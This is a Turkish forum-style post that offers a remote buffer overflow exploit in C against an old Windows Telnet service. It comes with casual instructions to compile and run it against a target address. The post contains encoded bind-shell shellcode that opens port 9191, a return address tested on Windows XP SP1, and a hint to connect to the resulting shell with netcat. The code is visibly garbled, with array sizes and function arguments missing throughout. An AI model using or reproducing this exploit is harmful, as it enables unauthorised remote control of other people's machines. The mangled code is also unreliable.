Ilk Exploiti Ben vereyim bari :DKullanımıbunu ilk nce telnet. c olarak kaydededin.. linuxu girişinizi yapıyorsunuz :Dtelnet. c yi attığınız yere girin cd komutuyla :D daha sonragcc telnet. c -o telnet şeklinde exploiti derleyin :D./telnet adress/ Windows Telnet Service 1.2 Remote buffer owerflow /#include <stdio. h>#include <stdlib. h>#include <string. h>#include <unistd. h>#ifdef WIN32#include <winsock2. h>#include <windows. h>#pragma lib <ws2_32. lib>#else#include <sys/socket. h>#include <sys/types. h>#include <arpa/inet. h>#include <netdb. h>#endifhttp://www.catax.com/exploits. dxd?p=1#define VER "0.0.1"unsigned char shellcode = // bind shell at 9191 port (484 bytes)"\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33""\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C""\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE""\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB""\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77""\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77""\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77""\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77""\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77""\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77""\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77""\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77""\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77""\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB""\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C""\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0""\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77""\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0""\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB""\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5""\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98""\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE""\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77""\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8""\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF""\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90""\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74""\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4""\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94""\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5""\xD3\x4A\x8C\x88";long gimmeip ;void keepout ;/ /void keepout void banner void usage / /long gimmeip {struct hostent he;long ipaddr;if ((ipaddr = inet_addr < 0){if ((he = gethostbyname NULL) memcpy ;}return ipaddr;}int main {int sock;char expbuff ;char recvbuff ;unsigned short tport = 23;unsigned short port = 9191;struct sockaddr_in target;long retaddr = 0x77f9980f; // tested on WinXP + SP1int len;#ifdef WIN32WSADATA wsadata;WSAStartup(MAKEWORD(2,0), &wsadata);#endifif(argc < 2) usage(argv );if(argc > 2) tport = atoi(argv );printf ;memset(expbuff, 0, sizeof ;memset(recvbuff, 0, sizeof ;memset(&expbuff, 0x41, 528);memcpy(&expbuff , &retaddr, 4);memcpy(&expbuff , shellcode, sizeof -1);memset(&target,0x00, sizeof ;target. sin_family = AF_INET;target. sin_addr. s_addr = gimmeip(argv );target. sin_port = htons ;printf ;if ((sock=socket <0) printf("\n Try connecting to Telnet Server at %s:%hu...", argv , tport);if (connect(sock, &target, sizeof !=0) printf ;//printf ;len = recv(sock, recvbuff, sizeof , 0);if(len < 0) printf ;if(send(sock, expbuff, strlen ,0) -1) //printf ;len = recv(sock, recvbuff, sizeof , 0);if(len < 0) printf("\n Now try connect to shell on 9191 port (et:nc -vv target 9191)");#ifdef WIN32closesocket ;WSACleanup ;#elseclose ;#endifreturn(0);} Coco cola gibiyim hayatın tadıyım, rocco gibiyim çok şekerim, albeniyim bahanem çok, çikolatalı gofretim beni sevmeyen yok!...